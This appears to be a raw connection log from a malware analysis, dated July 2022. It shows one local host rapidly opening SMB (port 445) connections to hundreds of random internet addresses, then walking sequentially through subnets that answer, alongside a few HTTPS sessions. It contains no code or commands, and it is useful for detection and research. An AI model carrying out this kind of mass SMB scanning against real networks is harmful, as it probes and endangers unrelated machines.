Jul 20, 2022 06:06:37.520353079 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.520382881 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.520467997 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.546499968 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.546602011 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.546648979 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.546720982 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.548926115 CEST	50398	443	192.168.2.6	20.31.108.18
Jul 20, 2022 06:06:37.548959017 CEST	443	50398	20.31.108.18	192.168.2.6
Jul 20, 2022 06:06:37.699215889 CEST	50416	445	192.168.2.6	124.192.115.118
Jul 20, 2022 06:06:37.949415922 CEST	50417	445	192.168.2.6	39.39.165.220
Jul 20, 2022 06:06:37.982793093 CEST	50418	445	192.168.2.6	16.97.235.171
Jul 20, 2022 06:06:38.236865044 CEST	50419	445	192.168.2.6	124.192.127.210
Jul 20, 2022 06:06:38.339721918 CEST	50420	445	192.168.2.6	183.125.28.232
Jul 20, 2022 06:06:38.340229988 CEST	50421	445	192.168.2.6	164.218.55.182
Jul 20, 2022 06:06:38.438189983 CEST	50422	445	192.168.2.6	172.252.243.166
Jul 20, 2022 06:06:38.438992023 CEST	50423	445	192.168.2.6	136.202.0.136
Jul 20, 2022 06:06:38.449470043 CEST	50425	445	192.168.2.6	172.61.180.45
Jul 20, 2022 06:06:38.449548960 CEST	50424	445	192.168.2.6	142.189.95.122
Jul 20, 2022 06:06:38.467173100 CEST	50426	445	192.168.2.6	40.249.51.157
Jul 20, 2022 06:06:38.468580008 CEST	50427	445	192.168.2.6	95.17.103.66
Jul 20, 2022 06:06:38.468792915 CEST	50429	445	192.168.2.6	142.109.10.201
Jul 20, 2022 06:06:38.468802929 CEST	50428	445	192.168.2.6	45.36.173.101
Jul 20, 2022 06:06:38.468844891 CEST	50430	445	192.168.2.6	48.177.72.161
Jul 20, 2022 06:06:38.468976021 CEST	50432	445	192.168.2.6	199.250.57.31
Jul 20, 2022 06:06:38.469017029 CEST	50431	445	192.168.2.6	81.100.201.138
Jul 20, 2022 06:06:38.469052076 CEST	50433	445	192.168.2.6	222.37.48.90
Jul 20, 2022 06:06:38.469105005 CEST	50434	445	192.168.2.6	208.50.117.97
Jul 20, 2022 06:06:38.496031046 CEST	50435	445	192.168.2.6	70.184.171.93
Jul 20, 2022 06:06:38.574718952 CEST	50436	445	192.168.2.6	201.251.16.210
Jul 20, 2022 06:06:38.835587978 CEST	50437	445	192.168.2.6	73.242.65.237
Jul 20, 2022 06:06:39.084687948 CEST	50438	445	192.168.2.6	92.195.40.250
Jul 20, 2022 06:06:39.091527939 CEST	50439	445	192.168.2.6	21.227.29.206
Jul 20, 2022 06:06:39.360338926 CEST	50440	445	192.168.2.6	154.203.228.84
Jul 20, 2022 06:06:39.465869904 CEST	50441	445	192.168.2.6	50.78.11.221
Jul 20, 2022 06:06:39.466603041 CEST	50442	445	192.168.2.6	163.250.50.143
Jul 20, 2022 06:06:39.543534040 CEST	50443	445	192.168.2.6	109.2.184.207
Jul 20, 2022 06:06:39.544090033 CEST	50444	445	192.168.2.6	58.46.185.164
Jul 20, 2022 06:06:39.559181929 CEST	50445	445	192.168.2.6	114.225.182.145
Jul 20, 2022 06:06:39.560055971 CEST	50446	445	192.168.2.6	105.177.23.65
Jul 20, 2022 06:06:39.600435972 CEST	50447	445	192.168.2.6	84.78.61.207
Jul 20, 2022 06:06:39.601684093 CEST	50448	445	192.168.2.6	32.62.27.231
Jul 20, 2022 06:06:39.601762056 CEST	50450	445	192.168.2.6	115.96.93.1
Jul 20, 2022 06:06:39.601769924 CEST	50449	445	192.168.2.6	3.29.162.127
Jul 20, 2022 06:06:39.601862907 CEST	50451	445	192.168.2.6	139.130.110.35
Jul 20, 2022 06:06:39.601933002 CEST	50452	445	192.168.2.6	73.172.217.132
Jul 20, 2022 06:06:39.602127075 CEST	50453	445	192.168.2.6	37.128.118.109
Jul 20, 2022 06:06:39.605798006 CEST	50454	445	192.168.2.6	107.135.244.19
Jul 20, 2022 06:06:39.606197119 CEST	50455	445	192.168.2.6	153.58.0.148
Jul 20, 2022 06:06:39.621071100 CEST	50456	445	192.168.2.6	178.227.23.158
Jul 20, 2022 06:06:39.685241938 CEST	50457	445	192.168.2.6	79.233.0.21
Jul 20, 2022 06:06:39.951400995 CEST	50458	445	192.168.2.6	63.184.20.252
Jul 20, 2022 06:06:39.952155113 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:39.952193022 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:39.952281952 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:39.953195095 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:39.953216076 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:39.999001980 CEST	50460	445	192.168.2.6	75.236.25.87
Jul 20, 2022 06:06:40.042361021 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.042485952 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.050601959 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.050617933 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.051048040 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.079464912 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.079555988 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.079567909 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.079790115 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.107656956 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.107819080 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.107912064 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.108021975 CEST	50459	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:40.108036995 CEST	443	50459	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:40.201540947 CEST	50461	445	192.168.2.6	101.144.171.42
Jul 20, 2022 06:06:40.214955091 CEST	50462	445	192.168.2.6	201.14.140.123
Jul 20, 2022 06:06:40.516129017 CEST	50463	445	192.168.2.6	97.39.89.126
Jul 20, 2022 06:06:40.611666918 CEST	50464	445	192.168.2.6	2.80.196.221
Jul 20, 2022 06:06:40.611720085 CEST	50465	445	192.168.2.6	9.169.120.229
Jul 20, 2022 06:06:40.668257952 CEST	50466	445	192.168.2.6	138.142.7.98
Jul 20, 2022 06:06:40.668817997 CEST	50467	445	192.168.2.6	217.45.103.163
Jul 20, 2022 06:06:40.684796095 CEST	50468	445	192.168.2.6	74.84.95.249
Jul 20, 2022 06:06:40.685524940 CEST	50469	445	192.168.2.6	91.195.250.191
Jul 20, 2022 06:06:40.751296043 CEST	50470	445	192.168.2.6	75.97.142.192
Jul 20, 2022 06:06:40.752068996 CEST	50471	445	192.168.2.6	172.214.79.148
Jul 20, 2022 06:06:40.752321005 CEST	50472	445	192.168.2.6	215.216.158.184
Jul 20, 2022 06:06:40.752372980 CEST	50473	445	192.168.2.6	161.120.97.203
Jul 20, 2022 06:06:40.752538919 CEST	50474	445	192.168.2.6	143.28.138.17
Jul 20, 2022 06:06:40.752655983 CEST	50475	445	192.168.2.6	84.86.180.232
Jul 20, 2022 06:06:40.753263950 CEST	50476	445	192.168.2.6	43.29.20.14
Jul 20, 2022 06:06:40.753535986 CEST	50477	445	192.168.2.6	99.180.33.199
Jul 20, 2022 06:06:40.753576040 CEST	50478	445	192.168.2.6	44.166.56.224
Jul 20, 2022 06:06:40.753762007 CEST	50479	445	192.168.2.6	203.195.219.14
Jul 20, 2022 06:06:40.809283018 CEST	50480	445	192.168.2.6	202.37.107.202
Jul 20, 2022 06:06:41.074754953 CEST	50481	445	192.168.2.6	73.167.66.173
Jul 20, 2022 06:06:41.125722885 CEST	50482	445	192.168.2.6	57.96.254.117
Jul 20, 2022 06:06:41.325479984 CEST	50483	445	192.168.2.6	2.243.178.196
Jul 20, 2022 06:06:41.342967987 CEST	50484	445	192.168.2.6	146.53.131.109
Jul 20, 2022 06:06:41.728508949 CEST	50485	445	192.168.2.6	110.179.40.166
Jul 20, 2022 06:06:41.840226889 CEST	50486	445	192.168.2.6	222.91.201.24
Jul 20, 2022 06:06:41.841003895 CEST	50487	445	192.168.2.6	142.140.80.219
Jul 20, 2022 06:06:41.841715097 CEST	50488	445	192.168.2.6	149.201.196.160
Jul 20, 2022 06:06:41.842427015 CEST	50489	445	192.168.2.6	130.231.134.222
Jul 20, 2022 06:06:41.843105078 CEST	50490	445	192.168.2.6	107.221.193.101
Jul 20, 2022 06:06:41.843755960 CEST	50491	445	192.168.2.6	71.112.70.25
Jul 20, 2022 06:06:41.856595039 CEST	50492	445	192.168.2.6	115.230.76.238
Jul 20, 2022 06:06:41.857155085 CEST	50493	445	192.168.2.6	115.121.250.23
Jul 20, 2022 06:06:41.857676029 CEST	50494	445	192.168.2.6	49.100.212.5
Jul 20, 2022 06:06:41.858200073 CEST	50495	445	192.168.2.6	88.5.91.250
Jul 20, 2022 06:06:41.858738899 CEST	50496	445	192.168.2.6	201.181.116.0
Jul 20, 2022 06:06:41.859262943 CEST	50497	445	192.168.2.6	213.192.107.166
Jul 20, 2022 06:06:41.859788895 CEST	50498	445	192.168.2.6	42.228.117.33
Jul 20, 2022 06:06:41.860290051 CEST	50499	445	192.168.2.6	75.32.246.188
Jul 20, 2022 06:06:41.860794067 CEST	50500	445	192.168.2.6	70.127.167.112
Jul 20, 2022 06:06:41.939773083 CEST	50501	445	192.168.2.6	78.180.210.38
Jul 20, 2022 06:06:41.998626947 CEST	50502	445	192.168.2.6	44.136.203.59
Jul 20, 2022 06:06:42.134258986 CEST	50503	445	192.168.2.6	37.21.160.238
Jul 20, 2022 06:06:42.234489918 CEST	445	50503	37.21.160.238	192.168.2.6
Jul 20, 2022 06:06:42.234707117 CEST	50503	445	192.168.2.6	37.21.160.238
Jul 20, 2022 06:06:42.282088995 CEST	50503	445	192.168.2.6	37.21.160.238
Jul 20, 2022 06:06:42.282856941 CEST	50504	445	192.168.2.6	37.21.160.1
Jul 20, 2022 06:06:42.283677101 CEST	50505	445	192.168.2.6	32.222.226.172
Jul 20, 2022 06:06:42.284470081 CEST	50506	445	192.168.2.6	220.62.10.78
Jul 20, 2022 06:06:42.380531073 CEST	445	50503	37.21.160.238	192.168.2.6
Jul 20, 2022 06:06:42.383162022 CEST	445	50503	37.21.160.238	192.168.2.6
Jul 20, 2022 06:06:42.383292913 CEST	50503	445	192.168.2.6	37.21.160.238
Jul 20, 2022 06:06:42.507594109 CEST	50507	445	192.168.2.6	91.80.86.178
Jul 20, 2022 06:06:42.508177042 CEST	50508	445	192.168.2.6	74.92.154.25
Jul 20, 2022 06:06:42.643987894 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:42.644047022 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:42.644144058 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.206747055 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.206780910 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.298378944 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.298500061 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.300801992 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.300817966 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.301222086 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.302200079 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.302261114 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.302267075 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.302416086 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.309113026 CEST	50510	445	192.168.2.6	194.137.131.186
Jul 20, 2022 06:06:43.309612989 CEST	50511	445	192.168.2.6	155.69.29.128
Jul 20, 2022 06:06:43.310122967 CEST	50512	445	192.168.2.6	184.90.86.224
Jul 20, 2022 06:06:43.310703039 CEST	50513	445	192.168.2.6	214.206.136.148
Jul 20, 2022 06:06:43.311253071 CEST	50514	445	192.168.2.6	63.141.123.130
Jul 20, 2022 06:06:43.311770916 CEST	50515	445	192.168.2.6	25.203.212.7
Jul 20, 2022 06:06:43.312316895 CEST	50516	445	192.168.2.6	184.242.133.98
Jul 20, 2022 06:06:43.313085079 CEST	50517	445	192.168.2.6	144.161.181.231
Jul 20, 2022 06:06:43.313604116 CEST	50518	445	192.168.2.6	219.1.142.30
Jul 20, 2022 06:06:43.314157009 CEST	50519	445	192.168.2.6	14.232.21.242
Jul 20, 2022 06:06:43.314696074 CEST	50520	445	192.168.2.6	219.120.94.118
Jul 20, 2022 06:06:43.315224886 CEST	50521	445	192.168.2.6	185.66.28.168
Jul 20, 2022 06:06:43.315735102 CEST	50522	445	192.168.2.6	2.66.90.83
Jul 20, 2022 06:06:43.316297054 CEST	50523	445	192.168.2.6	110.235.197.117
Jul 20, 2022 06:06:43.316809893 CEST	50524	445	192.168.2.6	26.147.11.103
Jul 20, 2022 06:06:43.317312002 CEST	50525	445	192.168.2.6	16.19.88.60
Jul 20, 2022 06:06:43.317816973 CEST	50526	445	192.168.2.6	212.134.145.169
Jul 20, 2022 06:06:43.318366051 CEST	50527	445	192.168.2.6	197.208.94.239
Jul 20, 2022 06:06:43.344156027 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.344280958 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.344341040 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.344521999 CEST	50509	443	192.168.2.6	20.199.120.182
Jul 20, 2022 06:06:43.344548941 CEST	443	50509	20.199.120.182	192.168.2.6
Jul 20, 2022 06:06:43.416811943 CEST	50528	445	192.168.2.6	37.21.160.2
Jul 20, 2022 06:06:43.418306112 CEST	50529	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:06:43.418761015 CEST	50530	445	192.168.2.6	35.151.93.227
Jul 20, 2022 06:06:43.422246933 CEST	445	50521	185.66.28.168	192.168.2.6
Jul 20, 2022 06:06:43.448762894 CEST	445	50529	178.159.42.74	192.168.2.6
Jul 20, 2022 06:06:43.448957920 CEST	50529	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:06:43.514218092 CEST	50529	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:06:43.514997005 CEST	50531	445	192.168.2.6	178.159.42.1
Jul 20, 2022 06:06:43.543179989 CEST	445	50529	178.159.42.74	192.168.2.6
Jul 20, 2022 06:06:43.543294907 CEST	445	50529	178.159.42.74	192.168.2.6
Jul 20, 2022 06:06:43.598663092 CEST	445	50531	178.159.42.1	192.168.2.6
Jul 20, 2022 06:06:44.042726994 CEST	50521	445	192.168.2.6	185.66.28.168
Jul 20, 2022 06:06:44.149427891 CEST	445	50521	185.66.28.168	192.168.2.6
Jul 20, 2022 06:06:44.230262041 CEST	50531	445	192.168.2.6	178.159.42.1
Jul 20, 2022 06:06:44.730282068 CEST	50521	445	192.168.2.6	185.66.28.168
Jul 20, 2022 06:06:44.745259047 CEST	50533	445	192.168.2.6	124.175.220.92
Jul 20, 2022 06:06:44.745842934 CEST	50532	445	192.168.2.6	144.16.183.91
Jul 20, 2022 06:06:44.812895060 CEST	50534	445	192.168.2.6	178.159.42.2
Jul 20, 2022 06:06:44.813616037 CEST	50535	445	192.168.2.6	37.21.160.3
Jul 20, 2022 06:06:44.836469889 CEST	445	50521	185.66.28.168	192.168.2.6
Jul 20, 2022 06:06:44.864248991 CEST	50536	445	192.168.2.6	35.49.229.236
Jul 20, 2022 06:06:44.864432096 CEST	50537	445	192.168.2.6	152.221.202.19
Jul 20, 2022 06:06:44.864856958 CEST	50538	445	192.168.2.6	165.123.70.83
Jul 20, 2022 06:06:44.865004063 CEST	50539	445	192.168.2.6	16.118.26.158
Jul 20, 2022 06:06:44.865149975 CEST	50540	445	192.168.2.6	141.70.216.139
Jul 20, 2022 06:06:44.865283012 CEST	50541	445	192.168.2.6	64.191.218.254
Jul 20, 2022 06:06:44.865428925 CEST	50542	445	192.168.2.6	97.188.107.107
Jul 20, 2022 06:06:44.865571976 CEST	50543	445	192.168.2.6	195.202.115.121
Jul 20, 2022 06:06:44.865710020 CEST	50544	445	192.168.2.6	142.14.64.178
Jul 20, 2022 06:06:44.865889072 CEST	50545	445	192.168.2.6	123.143.7.60
Jul 20, 2022 06:06:44.866127968 CEST	50546	445	192.168.2.6	92.112.25.39
Jul 20, 2022 06:06:44.866290092 CEST	50547	445	192.168.2.6	213.221.222.22
Jul 20, 2022 06:06:44.937812090 CEST	50549	445	192.168.2.6	84.235.178.6
Jul 20, 2022 06:06:44.937876940 CEST	50548	445	192.168.2.6	2.13.86.16
Jul 20, 2022 06:06:44.937966108 CEST	50551	445	192.168.2.6	148.159.110.112
Jul 20, 2022 06:06:44.938008070 CEST	50552	445	192.168.2.6	139.127.212.183
Jul 20, 2022 06:06:44.938102961 CEST	50554	445	192.168.2.6	208.215.119.253
Jul 20, 2022 06:06:44.938112020 CEST	50553	445	192.168.2.6	183.34.187.223
Jul 20, 2022 06:06:44.938225031 CEST	50550	445	192.168.2.6	142.19.200.183
Jul 20, 2022 06:06:44.941066027 CEST	50555	445	192.168.2.6	85.0.199.1
Jul 20, 2022 06:06:45.848012924 CEST	50556	445	192.168.2.6	102.155.99.196
Jul 20, 2022 06:06:45.848731041 CEST	50557	445	192.168.2.6	170.193.28.219
Jul 20, 2022 06:06:45.904778957 CEST	50558	445	192.168.2.6	37.21.160.4
Jul 20, 2022 06:06:45.905504942 CEST	50559	445	192.168.2.6	178.159.42.3
Jul 20, 2022 06:06:45.933407068 CEST	445	50559	178.159.42.3	192.168.2.6
Jul 20, 2022 06:06:45.985414982 CEST	50560	445	192.168.2.6	159.117.161.217
Jul 20, 2022 06:06:45.985639095 CEST	50562	445	192.168.2.6	141.191.183.87
Jul 20, 2022 06:06:45.985739946 CEST	50563	445	192.168.2.6	61.106.26.109
Jul 20, 2022 06:06:45.985806942 CEST	50564	445	192.168.2.6	212.9.53.163
Jul 20, 2022 06:06:45.985881090 CEST	50561	445	192.168.2.6	43.178.163.51
Jul 20, 2022 06:06:45.985925913 CEST	50567	445	192.168.2.6	2.77.144.247
Jul 20, 2022 06:06:45.985927105 CEST	50566	445	192.168.2.6	30.215.114.197
Jul 20, 2022 06:06:45.985928059 CEST	50565	445	192.168.2.6	217.9.104.37
Jul 20, 2022 06:06:45.986021996 CEST	50569	445	192.168.2.6	130.163.79.198
Jul 20, 2022 06:06:45.986067057 CEST	50568	445	192.168.2.6	202.60.73.3
Jul 20, 2022 06:06:45.986150026 CEST	50570	445	192.168.2.6	138.8.226.186
Jul 20, 2022 06:06:45.989238024 CEST	50571	445	192.168.2.6	143.26.236.221
Jul 20, 2022 06:06:46.059302092 CEST	50572	445	192.168.2.6	79.54.116.239
Jul 20, 2022 06:06:46.070035934 CEST	50573	445	192.168.2.6	49.248.165.81
Jul 20, 2022 06:06:46.070142984 CEST	50574	445	192.168.2.6	30.221.147.204
Jul 20, 2022 06:06:46.070223093 CEST	50575	445	192.168.2.6	199.20.32.100
Jul 20, 2022 06:06:46.070291996 CEST	50576	445	192.168.2.6	215.178.6.147
Jul 20, 2022 06:06:46.070382118 CEST	50577	445	192.168.2.6	46.151.9.61
Jul 20, 2022 06:06:46.070435047 CEST	50578	445	192.168.2.6	35.208.251.158
Jul 20, 2022 06:06:46.070508003 CEST	50579	445	192.168.2.6	86.92.20.122
Jul 20, 2022 06:06:46.257425070 CEST	445	50556	102.155.99.196	192.168.2.6
Jul 20, 2022 06:06:46.542962074 CEST	50559	445	192.168.2.6	178.159.42.3
Jul 20, 2022 06:06:46.572665930 CEST	445	50559	178.159.42.3	192.168.2.6
Jul 20, 2022 06:06:46.832303047 CEST	50580	445	192.168.2.6	64.204.209.10
Jul 20, 2022 06:06:46.839848042 CEST	50556	445	192.168.2.6	102.155.99.196
Jul 20, 2022 06:06:46.965456009 CEST	50581	445	192.168.2.6	179.11.233.54
Jul 20, 2022 06:06:46.966042042 CEST	50582	445	192.168.2.6	136.20.66.22
Jul 20, 2022 06:06:46.981765032 CEST	50583	445	192.168.2.6	37.21.160.5
Jul 20, 2022 06:06:46.982326031 CEST	50584	445	192.168.2.6	178.159.42.4
Jul 20, 2022 06:06:47.091104031 CEST	445	50583	37.21.160.5	192.168.2.6
Jul 20, 2022 06:06:47.106405973 CEST	50585	445	192.168.2.6	141.252.235.163
Jul 20, 2022 06:06:47.110479116 CEST	50586	445	192.168.2.6	209.238.129.122
Jul 20, 2022 06:06:47.110562086 CEST	50588	445	192.168.2.6	209.8.104.177
Jul 20, 2022 06:06:47.110569000 CEST	50587	445	192.168.2.6	197.114.186.244
Jul 20, 2022 06:06:47.110637903 CEST	50590	445	192.168.2.6	168.182.31.186
Jul 20, 2022 06:06:47.110639095 CEST	50589	445	192.168.2.6	198.126.83.221
Jul 20, 2022 06:06:47.110733032 CEST	50591	445	192.168.2.6	222.3.173.37
Jul 20, 2022 06:06:47.110747099 CEST	50592	445	192.168.2.6	119.79.112.196
Jul 20, 2022 06:06:47.110822916 CEST	50593	445	192.168.2.6	22.125.146.117
Jul 20, 2022 06:06:47.110841036 CEST	50594	445	192.168.2.6	71.119.196.115
Jul 20, 2022 06:06:47.110899925 CEST	50595	445	192.168.2.6	105.30.18.157
Jul 20, 2022 06:06:47.110918999 CEST	50596	445	192.168.2.6	33.38.10.5
Jul 20, 2022 06:06:47.184730053 CEST	50597	445	192.168.2.6	8.248.187.210
Jul 20, 2022 06:06:47.191842079 CEST	445	50587	197.114.186.244	192.168.2.6
Jul 20, 2022 06:06:47.201106071 CEST	50598	445	192.168.2.6	11.34.219.160
Jul 20, 2022 06:06:47.201976061 CEST	50599	445	192.168.2.6	153.89.177.136
Jul 20, 2022 06:06:47.202750921 CEST	50600	445	192.168.2.6	170.87.107.77
Jul 20, 2022 06:06:47.203486919 CEST	50601	445	192.168.2.6	210.67.48.19
Jul 20, 2022 06:06:47.204119921 CEST	50602	445	192.168.2.6	160.176.102.122
Jul 20, 2022 06:06:47.204715967 CEST	50603	445	192.168.2.6	30.7.1.166
Jul 20, 2022 06:06:47.205452919 CEST	50604	445	192.168.2.6	76.29.167.174
Jul 20, 2022 06:06:47.250041962 CEST	445	50556	102.155.99.196	192.168.2.6
Jul 20, 2022 06:06:47.761811972 CEST	50583	445	192.168.2.6	37.21.160.5
Jul 20, 2022 06:06:47.839927912 CEST	50587	445	192.168.2.6	197.114.186.244
Jul 20, 2022 06:06:47.871743917 CEST	445	50583	37.21.160.5	192.168.2.6
Jul 20, 2022 06:06:47.918951988 CEST	445	50587	197.114.186.244	192.168.2.6
Jul 20, 2022 06:06:47.935852051 CEST	50605	445	192.168.2.6	16.164.179.225
Jul 20, 2022 06:06:48.060142994 CEST	50606	445	192.168.2.6	37.21.160.6
Jul 20, 2022 06:06:48.060636044 CEST	50607	445	192.168.2.6	178.159.42.5
Jul 20, 2022 06:06:48.090291023 CEST	445	50607	178.159.42.5	192.168.2.6
Jul 20, 2022 06:06:48.090718985 CEST	50608	445	192.168.2.6	11.28.157.69
Jul 20, 2022 06:06:48.091543913 CEST	50609	445	192.168.2.6	174.221.244.145
Jul 20, 2022 06:06:48.231558084 CEST	50610	445	192.168.2.6	201.155.198.14
Jul 20, 2022 06:06:48.232098103 CEST	50611	445	192.168.2.6	150.32.57.95
Jul 20, 2022 06:06:48.232645035 CEST	50612	445	192.168.2.6	160.21.18.136
Jul 20, 2022 06:06:48.233359098 CEST	50613	445	192.168.2.6	214.31.94.147
Jul 20, 2022 06:06:48.233963013 CEST	50614	445	192.168.2.6	140.3.191.233
Jul 20, 2022 06:06:48.234522104 CEST	50615	445	192.168.2.6	132.137.38.132
Jul 20, 2022 06:06:48.235084057 CEST	50616	445	192.168.2.6	103.249.120.92
Jul 20, 2022 06:06:48.235611916 CEST	50617	445	192.168.2.6	54.226.23.210
Jul 20, 2022 06:06:48.236152887 CEST	50618	445	192.168.2.6	64.95.134.200
Jul 20, 2022 06:06:48.236659050 CEST	50619	445	192.168.2.6	113.241.141.141
Jul 20, 2022 06:06:48.238406897 CEST	50620	445	192.168.2.6	12.210.242.167
Jul 20, 2022 06:06:48.247092009 CEST	50621	445	192.168.2.6	92.96.23.148
Jul 20, 2022 06:06:48.314660072 CEST	50622	445	192.168.2.6	58.0.148.235
Jul 20, 2022 06:06:48.315324068 CEST	50623	445	192.168.2.6	6.84.37.21
Jul 20, 2022 06:06:48.315898895 CEST	50624	445	192.168.2.6	134.81.249.2
Jul 20, 2022 06:06:48.316490889 CEST	50625	445	192.168.2.6	117.159.86.162
Jul 20, 2022 06:06:48.317133904 CEST	50626	445	192.168.2.6	36.223.181.206
Jul 20, 2022 06:06:48.317794085 CEST	50627	445	192.168.2.6	45.101.234.114
Jul 20, 2022 06:06:48.318454981 CEST	50628	445	192.168.2.6	217.86.58.142
Jul 20, 2022 06:06:48.319155931 CEST	50629	445	192.168.2.6	167.203.196.174
Jul 20, 2022 06:06:48.761876106 CEST	50607	445	192.168.2.6	178.159.42.5
Jul 20, 2022 06:06:48.791378975 CEST	445	50607	178.159.42.5	192.168.2.6
Jul 20, 2022 06:06:48.843827009 CEST	50630	445	192.168.2.6	108.154.216.96
Jul 20, 2022 06:06:48.925060987 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.925117016 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.925221920 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.925251961 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.925364017 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.925451994 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.926879883 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.926903963 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.927000046 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.951445103 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.951504946 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.951620102 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.970398903 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.970429897 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.970547915 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.970580101 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.970674038 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.970710039 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:48.973879099 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:48.973906040 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:49.036670923 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:49.036793947 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:49.040257931 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:49.040397882 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:49.040924072 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:49.041050911 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:49.042592049 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:49.042679071 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:49.060317993 CEST	50635	445	192.168.2.6	167.50.162.235
Jul 20, 2022 06:06:49.136712074 CEST	50636	445	192.168.2.6	178.159.42.6
Jul 20, 2022 06:06:49.137372971 CEST	50637	445	192.168.2.6	37.21.160.7
Jul 20, 2022 06:06:49.216566086 CEST	50638	445	192.168.2.6	198.108.65.70
Jul 20, 2022 06:06:49.217317104 CEST	50639	445	192.168.2.6	72.153.45.48
Jul 20, 2022 06:06:49.360069036 CEST	50640	445	192.168.2.6	46.143.186.214
Jul 20, 2022 06:06:49.361079931 CEST	50641	445	192.168.2.6	126.98.250.240
Jul 20, 2022 06:06:49.361213923 CEST	50642	445	192.168.2.6	211.33.95.71
Jul 20, 2022 06:06:49.361267090 CEST	50643	445	192.168.2.6	27.80.245.199
Jul 20, 2022 06:06:49.361310005 CEST	50644	445	192.168.2.6	87.75.156.21
Jul 20, 2022 06:06:49.361318111 CEST	50645	445	192.168.2.6	12.84.198.94
Jul 20, 2022 06:06:49.361412048 CEST	50646	445	192.168.2.6	98.233.164.220
